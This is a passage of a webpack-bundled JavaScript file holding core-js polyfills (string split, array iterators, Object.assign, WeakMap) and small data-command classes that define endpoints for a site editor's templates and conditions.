			O = toIObject(O);
			P = toPrimitive(P, true);
			if (IE8_DOM_DEFINE) try {
				return gOPD(O, P);
			} catch (e) { /* empty */ }
			if (has(O, P)) return createDesc(!pIE.f.call(O, P), O[P]);
		};


		/***/ }),
	/* 231 */
	/***/ (function(module, exports) {

		exports.f = {}.propertyIsEnumerable;


		/***/ }),
	/* 232 */
	/***/ (function(module, exports, __webpack_require__) {

// 19.1.2.7 / 15.2.3.4 Object.getOwnPropertyNames(O)
		var $keys = __webpack_require__(170);
		var hiddenKeys = __webpack_require__(152).concat('length', 'prototype');

		exports.f = Object.getOwnPropertyNames || function getOwnPropertyNames(O) {
			return $keys(O, hiddenKeys);
		};


		/***/ }),
	/* 233 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var isRegExp = __webpack_require__(146);
		var anObject = __webpack_require__(23);
		var speciesConstructor = __webpack_require__(171);
		var advanceStringIndex = __webpack_require__(112);
		var toLength = __webpack_require__(49);
		var callRegExpExec = __webpack_require__(107);
		var regexpExec = __webpack_require__(102);
		var fails = __webpack_require__(30);
		var $min = Math.min;
		var $push = [].push;
		var $SPLIT = 'split';
		var LENGTH = 'length';
		var LAST_INDEX = 'lastIndex';
		var MAX_UINT32 = 0xffffffff;

// babel-minify transpiles RegExp('x', 'y') -> /x/y and it causes SyntaxError
		var SUPPORTS_Y = !fails(function () { RegExp(MAX_UINT32, 'y'); });

// @@split logic
		__webpack_require__(108)('split', 2, function (defined, SPLIT, $split, maybeCallNative) {
			var internalSplit;
			if (
				'abbc'[$SPLIT](/(b)*/)[1] == 'c' ||
				'test'[$SPLIT](/(?:)/, -1)[LENGTH] != 4 ||
				'ab'[$SPLIT](/(?:ab)*/)[LENGTH] != 2 ||
				'.'[$SPLIT](/(.?)(.?)/)[LENGTH] != 4 ||
				'.'[$SPLIT](/()()/)[LENGTH] > 1 ||
				''[$SPLIT](/.?/)[LENGTH]
			) {
				// based on es5-shim implementation, need to rework it
				internalSplit = function (separator, limit) {
					var string = String(this);
					if (separator === undefined && limit === 0) return [];
					// If `separator` is not a regex, use native split
					if (!isRegExp(separator)) return $split.call(string, separator, limit);
					var output = [];
					var flags = (separator.ignoreCase ? 'i' : '') +
					            (separator.multiline ? 'm' : '') +
					            (separator.unicode ? 'u' : '') +
					            (separator.sticky ? 'y' : '');
					var lastLastIndex = 0;
					var splitLimit = limit === undefined ? MAX_UINT32 : limit >>> 0;
					// Make `global` and avoid `lastIndex` issues by working with a copy
					var separatorCopy = new RegExp(separator.source, flags + 'g');
					var match, lastIndex, lastLength;
					while (match = regexpExec.call(separatorCopy, string)) {
						lastIndex = separatorCopy[LAST_INDEX];
						if (lastIndex > lastLastIndex) {
							output.push(string.slice(lastLastIndex, match.index));
							if (match[LENGTH] > 1 && match.index < string[LENGTH]) $push.apply(output, match.slice(1));
							lastLength = match[0][LENGTH];
							lastLastIndex = lastIndex;
							if (output[LENGTH] >= splitLimit) break;
						}
						if (separatorCopy[LAST_INDEX] === match.index) separatorCopy[LAST_INDEX]++; // Avoid an infinite loop
					}
					if (lastLastIndex === string[LENGTH]) {
						if (lastLength || !separatorCopy.test('')) output.push('');
					} else output.push(string.slice(lastLastIndex));
					return output[LENGTH] > splitLimit ? output.slice(0, splitLimit) : output;
				};
				// Chakra, V8
			} else if ('0'[$SPLIT](undefined, 0)[LENGTH]) {
				internalSplit = function (separator, limit) {
					return separator === undefined && limit === 0 ? [] : $split.call(this, separator, limit);
				};
			} else {
				internalSplit = $split;
			}

			return [
				// `String.prototype.split` method
				// https://tc39.github.io/ecma262/#sec-string.prototype.split
				function split(separator, limit) {
					var O = defined(this);
					var splitter = separator == undefined ? undefined : separator[SPLIT];
					return splitter !== undefined
						? splitter.call(separator, O, limit)
						: internalSplit.call(String(O), separator, limit);
				},
				// `RegExp.prototype[@@split]` method
				// https://tc39.github.io/ecma262/#sec-regexp.prototype-@@split
				//
				// NOTE: This cannot be properly polyfilled in engines that don't support
				// the 'y' flag.
				function (regexp, limit) {
					var res = maybeCallNative(internalSplit, regexp, this, limit, internalSplit !== $split);
					if (res.done) return res.value;

					var rx = anObject(regexp);
					var S = String(this);
					var C = speciesConstructor(rx, RegExp);

					var unicodeMatching = rx.unicode;
					var flags = (rx.ignoreCase ? 'i' : '') +
					            (rx.multiline ? 'm' : '') +
					            (rx.unicode ? 'u' : '') +
					            (SUPPORTS_Y ? 'y' : 'g');

					// ^(? + rx + ) is needed, in combination with some S slicing, to
					// simulate the 'y' flag.
					var splitter = new C(SUPPORTS_Y ? rx : '^(?:' + rx.source + ')', flags);
					var lim = limit === undefined ? MAX_UINT32 : limit >>> 0;
					if (lim === 0) return [];
					if (S.length === 0) return callRegExpExec(splitter, S) === null ? [S] : [];
					var p = 0;
					var q = 0;
					var A = [];
					while (q < S.length) {
						splitter.lastIndex = SUPPORTS_Y ? q : 0;
						var z = callRegExpExec(splitter, SUPPORTS_Y ? S : S.slice(q));
						var e;
						if (
							z === null ||
							(e = $min(toLength(splitter.lastIndex + (SUPPORTS_Y ? 0 : q)), S.length)) === p
						) {
							q = advanceStringIndex(S, q, unicodeMatching);
						} else {
							A.push(S.slice(p, q));
							if (A.length === lim) return A;
							for (var i = 1; i <= z.length - 1; i++) {
								A.push(z[i]);
								if (A.length === lim) return A;
							}
							q = p = e;
						}
					}
					A.push(S.slice(p));
					return A;
				}
			];
		});


		/***/ }),
	/* 234 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";

		var addToUnscopables = __webpack_require__(106);
		var step = __webpack_require__(277);
		var Iterators = __webpack_require__(153);
		var toIObject = __webpack_require__(76);

// 22.1.3.4 Array.prototype.entries()
// 22.1.3.13 Array.prototype.keys()
// 22.1.3.29 Array.prototype.values()
// 22.1.3.30 Array.prototype[@@iterator]()
		module.exports = __webpack_require__(241)(Array, 'Array', function (iterated, kind) {
			this._t = toIObject(iterated); // target
			this._i = 0;                   // next index
			this._k = kind;                // kind
// 22.1.5.2.1 %ArrayIteratorPrototype%.next()
		}, function () {
			var O = this._t;
			var kind = this._k;
			var index = this._i++;
			if (!O || index >= O.length) {
				this._t = undefined;
				return step(1);
			}
			if (kind == 'keys') return step(0, index);
			if (kind == 'values') return step(0, O[index]);
			return step(0, [index, O[index]]);
		}, 'values');

// argumentsList[@@iterator] is %ArrayProto_values% (9.4.4.6, 9.4.4.7)
		Iterators.Arguments = Iterators.Array;

		addToUnscopables('keys');
		addToUnscopables('values');
		addToUnscopables('entries');


		/***/ }),
	/* 235 */
	/***/ (function(module, exports, __webpack_require__) {

// 19.1.2.14 / 15.2.3.14 Object.keys(O)
		var $keys = __webpack_require__(170);
		var enumBugKeys = __webpack_require__(152);

		module.exports = Object.keys || function keys(O) {
			return $keys(O, enumBugKeys);
		};


		/***/ }),
	/* 236 */
	/***/ (function(module, exports, __webpack_require__) {

		var document = __webpack_require__(17).document;
		module.exports = document && document.documentElement;


		/***/ }),
	/* 237 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";

// 19.1.2.1 Object.assign(target, source, ...)
		var DESCRIPTORS = __webpack_require__(14);
		var getKeys = __webpack_require__(35);
		var gOPS = __webpack_require__(62);
		var pIE = __webpack_require__(40);
		var toObject = __webpack_require__(27);
		var IObject = __webpack_require__(90);
		var $assign = Object.assign;

// should work with symbols and should have deterministic property order (V8 bug)
		module.exports = !$assign || __webpack_require__(20)(function () {
			var A = {};
			var B = {};
			// eslint-disable-next-line no-undef
			var S = Symbol();
			var K = 'abcdefghijklmnopqrst';
			A[S] = 7;
			K.split('').forEach(function (k) { B[k] = k; });
			return $assign({}, A)[S] != 7 || Object.keys($assign({}, B)).join('') != K;
		}) ? function assign(target, source) { // eslint-disable-line no-unused-vars
			var T = toObject(target);
			var aLen = arguments.length;
			var index = 1;
			var getSymbols = gOPS.f;
			var isEnum = pIE.f;
			while (aLen > index) {
				var S = IObject(arguments[index++]);
				var keys = getSymbols ? getKeys(S).concat(getSymbols(S)) : getKeys(S);
				var length = keys.length;
				var j = 0;
				var key;
				while (length > j) {
					key = keys[j++];
					if (!DESCRIPTORS || isEnum.call(S, key)) T[key] = S[key];
				}
			} return T;
		} : $assign;


		/***/ }),
	/* 238 */,
	/* 239 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireWildcard = __webpack_require__(148);

		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _defineProperty2 = _interopRequireDefault(__webpack_require__(59));

		var dataCommands = _interopRequireWildcard(__webpack_require__(181));

		var Component = /*#__PURE__*/function (_$e$modules$Component) {
			(0, _inherits2.default)(Component, _$e$modules$Component);

			var _super = (0, _createSuper2.default)(Component);

			function Component() {
				(0, _classCallCheck2.default)(this, Component);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(Component, [{
				key: "getNamespace",
				value: function getNamespace() {
					return this.constructor.namespace;
				}
			}, {
				key: "defaultData",
				value: function defaultData() {
					return this.importCommands(dataCommands);
				}
			}]);
			return Component;
		}($e.modules.ComponentBase);

		exports.default = Component;
		(0, _defineProperty2.default)(Component, "namespace", 'site-editor');

		/***/ }),
	/* 240 */,
	/* 241 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";

		var LIBRARY = __webpack_require__(99);
		var $export = __webpack_require__(51);
		var redefine = __webpack_require__(31);
		var hide = __webpack_require__(29);
		var Iterators = __webpack_require__(153);
		var $iterCreate = __webpack_require__(278);
		var setToStringTag = __webpack_require__(189);
		var getPrototypeOf = __webpack_require__(281);
		var ITERATOR = __webpack_require__(13)('iterator');
		var BUGGY = !([].keys && 'next' in [].keys()); // Safari has buggy iterators w/o `next`
		var FF_ITERATOR = '@@iterator';
		var KEYS = 'keys';
		var VALUES = 'values';

		var returnThis = function () { return this; };

		module.exports = function (Base, NAME, Constructor, next, DEFAULT, IS_SET, FORCED) {
			$iterCreate(Constructor, NAME, next);
			var getMethod = function (kind) {
				if (!BUGGY && kind in proto) return proto[kind];
				switch (kind) {
					case KEYS: return function keys() { return new Constructor(this, kind); };
					case VALUES: return function values() { return new Constructor(this, kind); };
				} return function entries() { return new Constructor(this, kind); };
			};
			var TAG = NAME + ' Iterator';
			var DEF_VALUES = DEFAULT == VALUES;
			var VALUES_BUG = false;
			var proto = Base.prototype;
			var $native = proto[ITERATOR] || proto[FF_ITERATOR] || DEFAULT && proto[DEFAULT];
			var $default = $native || getMethod(DEFAULT);
			var $entries = DEFAULT ? !DEF_VALUES ? $default : getMethod('entries') : undefined;
			var $anyNative = NAME == 'Array' ? proto.entries || $native : $native;
			var methods, key, IteratorPrototype;
			// Fix native
			if ($anyNative) {
				IteratorPrototype = getPrototypeOf($anyNative.call(new Base()));
				if (IteratorPrototype !== Object.prototype && IteratorPrototype.next) {
					// Set @@toStringTag to native iterators
					setToStringTag(IteratorPrototype, TAG, true);
					// fix for some old engines
					if (!LIBRARY && typeof IteratorPrototype[ITERATOR] != 'function') hide(IteratorPrototype, ITERATOR, returnThis);
				}
			}
			// fix Array#{values, @@iterator}.name in V8 / FF
			if (DEF_VALUES && $native && $native.name !== VALUES) {
				VALUES_BUG = true;
				$default = function values() { return $native.call(this); };
			}
			// Define iterator
			if ((!LIBRARY || FORCED) && (BUGGY || VALUES_BUG || !proto[ITERATOR])) {
				hide(proto, ITERATOR, $default);
			}
			// Plug for library
			Iterators[NAME] = $default;
			Iterators[TAG] = returnThis;
			if (DEFAULT) {
				methods = {
					values: DEF_VALUES ? $default : getMethod(VALUES),
					keys: IS_SET ? $default : getMethod(KEYS),
					entries: $entries
				};
				if (FORCED) for (key in methods) {
					if (!(key in proto)) redefine(proto, key, methods[key]);
				} else $export($export.P + $export.F * (BUGGY || VALUES_BUG), NAME, methods);
			}
			return methods;
		};


		/***/ }),
	/* 242 */,
	/* 243 */
	/***/ (function(module, exports, __webpack_require__) {

		module.exports = __webpack_require__(244);

		/***/ }),
	/* 244 */
	/***/ (function(module, exports, __webpack_require__) {

		__webpack_require__(92);
		__webpack_require__(75);
		__webpack_require__(245);
		__webpack_require__(250);
		__webpack_require__(252);
		module.exports = __webpack_require__(2).WeakMap;


		/***/ }),
	/* 245 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";

		var global = __webpack_require__(8);
		var each = __webpack_require__(173)(0);
		var redefine = __webpack_require__(73);
		var meta = __webpack_require__(80);
		var assign = __webpack_require__(237);
		var weak = __webpack_require__(248);
		var isObject = __webpack_require__(9);
		var validate = __webpack_require__(174);
		var NATIVE_WEAK_MAP = __webpack_require__(174);
		var IS_IE11 = !global.ActiveXObject && 'ActiveXObject' in global;
		var WEAK_MAP = 'WeakMap';
		var getWeak = meta.getWeak;
		var isExtensible = Object.isExtensible;
		var uncaughtFrozenStore = weak.ufstore;
		var InternalMap;

		var wrapper = function (get) {
			return function WeakMap() {
				return get(this, arguments.length > 0 ? arguments[0] : undefined);
			};
		};

		var methods = {
			// 23.3.3.3 WeakMap.prototype.get(key)
			get: function get(key) {
				if (isObject(key)) {
					var data = getWeak(key);
					if (data === true) return uncaughtFrozenStore(validate(this, WEAK_MAP)).get(key);
					return data ? data[this._i] : undefined;
				}
			},
			// 23.3.3.5 WeakMap.prototype.set(key, value)
			set: function set(key, value) {
				return weak.def(validate(this, WEAK_MAP), key, value);
			}
		};

// 23.3 WeakMap Objects
		var $WeakMap = module.exports = __webpack_require__(249)(WEAK_MAP, wrapper, methods, weak, true, true);

// IE11 WeakMap frozen keys fix
		if (NATIVE_WEAK_MAP && IS_IE11) {
			InternalMap = weak.getConstructor(wrapper, WEAK_MAP);
			assign(InternalMap.prototype, methods);
			meta.NEED = true;
			each(['delete', 'has', 'get', 'set'], function (key) {
				var proto = $WeakMap.prototype;
				var method = proto[key];
				redefine(proto, key, function (a, b) {
					// store frozen objects on internal weakmap shim
					if (isObject(a) && !isExtensible(a)) {
						if (!this._f) this._f = new InternalMap();
						var result = this._f[key](a, b);
						return key == 'set' ? this : result;
						// store all the rest on native weakmap
					} return method.call(this, a, b);
				});
			});
		}


		/***/ }),
	/* 246 */
	/***/ (function(module, exports, __webpack_require__) {

// 9.4.2.3 ArraySpeciesCreate(originalArray, length)
		var speciesConstructor = __webpack_require__(247);

		module.exports = function (original, length) {
			return new (speciesConstructor(original))(length);
		};


		/***/ }),
	/* 247 */
	/***/ (function(module, exports, __webpack_require__) {

		var isObject = __webpack_require__(9);
		var isArray = __webpack_require__(87);
		var SPECIES = __webpack_require__(11)('species');

		module.exports = function (original) {
			var C;
			if (isArray(original)) {
				C = original.constructor;
				// cross-realm fallback
				if (typeof C == 'function' && (C === Array || isArray(C.prototype))) C = undefined;
				if (isObject(C)) {
					C = C[SPECIES];
					if (C === null) C = undefined;
				}
			} return C === undefined ? Array : C;
		};


		/***/ }),
	/* 248 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";

		var redefineAll = __webpack_require__(165);
		var getWeak = __webpack_require__(80).getWeak;
		var anObject = __webpack_require__(12);
		var isObject = __webpack_require__(9);
		var anInstance = __webpack_require__(166);
		var forOf = __webpack_require__(149);
		var createArrayMethod = __webpack_require__(173);
		var $has = __webpack_require__(16);
		var validate = __webpack_require__(174);
		var arrayFind = createArrayMethod(5);
		var arrayFindIndex = createArrayMethod(6);
		var id = 0;

// fallback for uncaught frozen keys
		var uncaughtFrozenStore = function (that) {
			return that._l || (that._l = new UncaughtFrozenStore());
		};
		var UncaughtFrozenStore = function () {
			this.a = [];
		};
		var findUncaughtFrozen = function (store, key) {
			return arrayFind(store.a, function (it) {
				return it[0] === key;
			});
		};
		UncaughtFrozenStore.prototype = {
			get: function (key) {
				var entry = findUncaughtFrozen(this, key);
				if (entry) return entry[1];
			},
			has: function (key) {
				return !!findUncaughtFrozen(this, key);
			},
			set: function (key, value) {
				var entry = findUncaughtFrozen(this, key);
				if (entry) entry[1] = value;
				else this.a.push([key, value]);
			},
			'delete': function (key) {
				var index = arrayFindIndex(this.a, function (it) {
					return it[0] === key;
				});
				if (~index) this.a.splice(index, 1);
				return !!~index;
			}
		};

		module.exports = {
			getConstructor: function (wrapper, NAME, IS_MAP, ADDER) {
				var C = wrapper(function (that, iterable) {
					anInstance(that, C, NAME, '_i');
					that._t = NAME;      // collection type
					that._i = id++;      // collection id
					that._l = undefined; // leak store for uncaught frozen objects
					if (iterable != undefined) forOf(iterable, IS_MAP, that[ADDER], that);
				});
				redefineAll(C.prototype, {
					// 23.3.3.2 WeakMap.prototype.delete(key)
					// 23.4.3.3 WeakSet.prototype.delete(value)
					'delete': function (key) {
						if (!isObject(key)) return false;
						var data = getWeak(key);
						if (data === true) return uncaughtFrozenStore(validate(this, NAME))['delete'](key);
						return data && $has(data, this._i) && delete data[this._i];
					},
					// 23.3.3.4 WeakMap.prototype.has(key)
					// 23.4.3.4 WeakSet.prototype.has(value)
					has: function has(key) {
						if (!isObject(key)) return false;
						var data = getWeak(key);
						if (data === true) return uncaughtFrozenStore(validate(this, NAME)).has(key);
						return data && $has(data, this._i);
					}
				});
				return C;
			},
			def: function (that, key, value) {
				var data = getWeak(anObject(key), true);
				if (data === true) uncaughtFrozenStore(that).set(key, value);
				else data[that._i] = value;
				return that;
			},
			ufstore: uncaughtFrozenStore
		};


		/***/ }),
	/* 249 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";

		var global = __webpack_require__(8);
		var $export = __webpack_require__(7);
		var meta = __webpack_require__(80);
		var fails = __webpack_require__(20);
		var hide = __webpack_require__(21);
		var redefineAll = __webpack_require__(165);
		var forOf = __webpack_require__(149);
		var anInstance = __webpack_require__(166);
		var isObject = __webpack_require__(9);
		var setToStringTag = __webpack_require__(41);
		var dP = __webpack_require__(15).f;
		var each = __webpack_require__(173)(0);
		var DESCRIPTORS = __webpack_require__(14);

		module.exports = function (NAME, wrapper, methods, common, IS_MAP, IS_WEAK) {
			var Base = global[NAME];
			var C = Base;
			var ADDER = IS_MAP ? 'set' : 'add';
			var proto = C && C.prototype;
			var O = {};
			if (!DESCRIPTORS || typeof C != 'function' || !(IS_WEAK || proto.forEach && !fails(function () {
				new C().entries().next();
			}))) {
				// create collection constructor
				C = common.getConstructor(wrapper, NAME, IS_MAP, ADDER);
				redefineAll(C.prototype, methods);
				meta.NEED = true;
			} else {
				C = wrapper(function (target, iterable) {
					anInstance(target, C, NAME, '_c');
					target._c = new Base();
					if (iterable != undefined) forOf(iterable, IS_MAP, target[ADDER], target);
				});
				each('add,clear,delete,forEach,get,has,set,keys,values,entries,toJSON'.split(','), function (KEY) {
					var IS_ADDER = KEY == 'add' || KEY == 'set';
					if (KEY in proto && !(IS_WEAK && KEY == 'clear')) hide(C.prototype, KEY, function (a, b) {
						anInstance(this, C, KEY);
						if (!IS_ADDER && IS_WEAK && !isObject(a)) return KEY == 'get' ? undefined : false;
						var result = this._c[KEY](a === 0 ? 0 : a, b);
						return IS_ADDER ? this : result;
					});
				});
				IS_WEAK || dP(C.prototype, 'size', {
					get: function () {
						return this._c.size;
					}
				});
			}

			setToStringTag(C, NAME);

			O[NAME] = C;
			$export($export.G + $export.W + $export.F, O);

			if (!IS_WEAK) common.setStrong(C, NAME, IS_MAP);

			return C;
		};


		/***/ }),
	/* 250 */
	/***/ (function(module, exports, __webpack_require__) {

// https://tc39.github.io/proposal-setmap-offrom/#sec-weakmap.of
		__webpack_require__(251)('WeakMap');


		/***/ }),
	/* 251 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";

// https://tc39.github.io/proposal-setmap-offrom/
		var $export = __webpack_require__(7);

		module.exports = function (COLLECTION) {
			$export($export.S, COLLECTION, { of: function of() {
					var length = arguments.length;
					var A = new Array(length);
					while (length--) A[length] = arguments[length];
					return new this(A);
				} });
		};


		/***/ }),
	/* 252 */
	/***/ (function(module, exports, __webpack_require__) {

// https://tc39.github.io/proposal-setmap-offrom/#sec-weakmap.from
		__webpack_require__(253)('WeakMap');


		/***/ }),
	/* 253 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";

// https://tc39.github.io/proposal-setmap-offrom/
		var $export = __webpack_require__(7);
		var aFunction = __webpack_require__(33);
		var ctx = __webpack_require__(32);
		var forOf = __webpack_require__(149);

		module.exports = function (COLLECTION) {
			$export($export.S, COLLECTION, { from: function from(source /* , mapFn, thisArg */) {
					var mapFn = arguments[1];
					var mapping, A, n, cb;
					aFunction(this);
					mapping = mapFn !== undefined;
					if (mapping) aFunction(mapFn);
					if (source == undefined) return new this();
					A = [];
					if (mapping) {
						n = 0;
						cb = ctx(mapFn, arguments[2], 2);
						forOf(source, false, function (nextItem) {
							A.push(cb(nextItem, n++));
						});
					} else {
						forOf(source, false, A.push, A);
					}
					return new this(A);
				} });
		};


		/***/ }),
	/* 254 */,
	/* 255 */,
	/* 256 */,
	/* 257 */,
	/* 258 */,
	/* 259 */,
	/* 260 */,
	/* 261 */,
	/* 262 */,
	/* 263 */,
	/* 264 */,
	/* 265 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.Templates = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _defineProperty2 = _interopRequireDefault(__webpack_require__(59));

		var Templates = /*#__PURE__*/function (_$e$modules$CommandDa) {
			(0, _inherits2.default)(Templates, _$e$modules$CommandDa);

			var _super = (0, _createSuper2.default)(Templates);

			function Templates() {
				(0, _classCallCheck2.default)(this, Templates);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(Templates, null, [{
				key: "getEndpointFormat",
				value: function getEndpointFormat() {
					return 'site-editor/templates/{id}';
				}
			}]);
			return Templates;
		}($e.modules.CommandData);

		exports.Templates = Templates;
		(0, _defineProperty2.default)(Templates, "signature", 'site-editor/templates');
		var _default = Templates;
		exports.default = _default;

		/***/ }),
	/* 266 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.ConditionsConfig = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _defineProperty2 = _interopRequireDefault(__webpack_require__(59));

		var ConditionsConfig = /*#__PURE__*/function (_$e$modules$CommandDa) {
			(0, _inherits2.default)(ConditionsConfig, _$e$modules$CommandDa);

			var _super = (0, _createSuper2.default)(ConditionsConfig);

			function ConditionsConfig() {
				(0, _classCallCheck2.default)(this, ConditionsConfig);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(ConditionsConfig, null, [{
				key: "getEndpointFormat",
				value: function getEndpointFormat() {
					return 'site-editor/conditions-config/{id}';
				}
			}]);
			return ConditionsConfig;
		}($e.modules.CommandData);

		exports.ConditionsConfig = ConditionsConfig;
		(0, _defineProperty2.default)(ConditionsConfig, "signature", 'site-editor/conditions-config');
		var _default = ConditionsConfig;
		exports.default = _default;

		/***/ }),
	/* 267 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.TemplatesConditions = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _defineProperty2 = _interopRequireDefault(__webpack_require__(59));

		var TemplatesConditions = /*#__PURE__*/function (_$e$modules$CommandDa) {
			(0, _inherits2.default)(TemplatesConditions, _$e$modules$CommandDa);

			var _super = (0, _createSuper2.default)(TemplatesConditions);

			function TemplatesConditions() {
				(0, _classCallCheck2.default)(this, TemplatesConditions);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(TemplatesConditions, null, [{
				key: "getEndpointFormat",
				value: function getEndpointFormat() {
					return 'site-editor/templates-conditions/{id}';
				}
			}]);
			return TemplatesConditions;
		}($e.modules.CommandData);

		exports.TemplatesConditions = TemplatesConditions;
		(0, _defineProperty2.default)(TemplatesConditions, "signature", 'site-editor/templates-conditions');
		var _default = TemplatesConditions;
		exports.default = _default;

		/***/ }),
	/* 268 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.TemplatesConditionsConflicts = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _defineProperty2 = _interopRequireDefault(__webpack_require__(59));

		var TemplatesConditionsConflicts = /*#__PURE__*/function (_$e$modules$CommandDa) {
			(0, _inherits2.default)(TemplatesConditionsConflicts, _$e$modules$CommandDa);

			var _super = (0, _createSuper2.default)(TemplatesConditionsConflicts);

			function TemplatesConditionsConflicts() {
				(0, _classCallCheck2.default)(this, TemplatesConditionsConflicts);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(TemplatesConditionsConflicts, null, [{
				key: "getEndpointFormat",
				value: function getEndpointFormat() {
					return "".concat(TemplatesConditionsConflicts.signature, "/{id}");
				}
			}]);
			return TemplatesConditionsConflicts;
		}($e.modules.CommandData);

		exports.TemplatesConditionsConflicts = TemplatesConditionsConflicts;
		(0, _defineProperty2.default)(TemplatesConditionsConflicts, "signature", 'site-editor/templates-conditions-conflicts');
		var _default = TemplatesConditionsConflicts;
		exports.default = _default;

		/***/ }),
	/* 269 */,
	/* 270 */,
	/* 271 */,
	/* 272 */,
	/* 273 */,
	/* 274 */,
	/* 275 */,
	/* 276 */
	/***/ (function(module, exports, __webpack_require__) {

		var $iterators = __webpack_require__(234);
		var getKeys = __webpack_require__(235);
		var redefine = __webpack_require__(31);
		var global = __webpack_require__(17);
		var hide = __webpack_require__(29);
		var Iterators = __webpack_require__(153);
		var wks = __webpack_require__(13);
		var ITERATOR = wks('iterator');
		var TO_STRING_TAG = wks('toStringTag');
		var ArrayValues = Iterators.Array;

		var DOMIterables = {
			CSSRuleList: true, // TODO: Not spec compliant, should be false.
			CSSStyleDeclaration: false,
			CSSValueList: false,
			ClientRectList: false,
			DOMRectList: false,
			DOMStringList: false,
			DOMTokenList: true,
			DataTransferItemList: false,
			FileList: false,
			HTMLAllCollection: false,
			HTMLCollection: false,
			HTMLFormElement: false,
			HTMLSelectElement: false,
			MediaList: true, // TODO: Not spec compliant, should be false.
			MimeTypeArray: false,
			NamedNodeMap: false,
			NodeList: true,
			PaintRequestList: false,
			Plugin: false,
			PluginArray: false,
			SVGLengthList: false,
			SVGNumberList: false,
			SVGPathSegList: false,
			SVGPointList: false,
			SVGStringList: false,
			SVGTransformList: false,
			SourceBufferList: false,
			StyleSheetList: true, // TODO: Not spec compliant, should be false.
			TextTrackCueList: false,
			TextTrackList: false,
			TouchList: false
		};

		for (var collections = getKeys(DOMIterables), i = 0; i < collections.length; i++) {
			var NAME = collections[i];
			var explicit = DOMIterables[NAME];
			var Collection = global[NAME];
			var proto = Collection && Collection.prototype;
			var key;
			if (proto) {
				if (!proto[ITERATOR]) hide(proto, ITERATOR, ArrayValues);
				if (!proto[TO_STRING_TAG]) hide(proto, TO_STRING_TAG, NAME);
				Iterators[NAME] = ArrayValues;
				if (explicit) for (key in $iterators) if (!proto[key]) redefine(proto, key, $iterators[key], true);
			}
		}


		/***/ }),
	/* 277 */
	/***/ (function(module, exports) {

		module.exports = function (done, value) {
			return { value: value, done: !!done };
		};


		/***/ }),
	/* 278 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";

		var create = __webpack_require__(279);
		var descriptor = __webpack_require__(88);
		var setToStringTag = __webpack_require__(189);
		var IteratorPrototype = {};

// 25.1.2.1.1 %IteratorPrototype%[@@iterator]()
		__webpack_require__(29)(IteratorPrototype, __webpack_require__(13)('iterator'), function () { return this; });

		module.exports = function (Constructor, NAME, next) {
			Constructor.prototype = create(IteratorPrototype, { next: descriptor(1, next) });
			setToStringTag(Constructor, NAME + ' Iterator');
		};


		/***/ }),
	/* 279 */
	/***/ (function(module, exports, __webpack_require__) {

// 19.1.2.2 / 15.2.3.5 Object.create(O [, Properties])
		var anObject = __webpack_require__(23);
		var dPs = __webpack_require__(280);
		var enumBugKeys = __webpack_require__(152);
		var IE_PROTO = __webpack_require__(147)('IE_PROTO');
		var Empty = function () { /* empty */ };
		var PROTOTYPE = 'prototype';

// Create object with fake `null` prototype: use iframe Object with cleared prototype
		var createDict = function () {
			// Thrash, waste and sodomy: IE GC bug
			var iframe = __webpack_require__(97)('iframe');
			var i = enumBugKeys.length;
			var lt = '<';
			var gt = '>';
			var iframeDocument;
			iframe.style.display = 'none';
			__webpack_require__(236).appendChild(iframe);
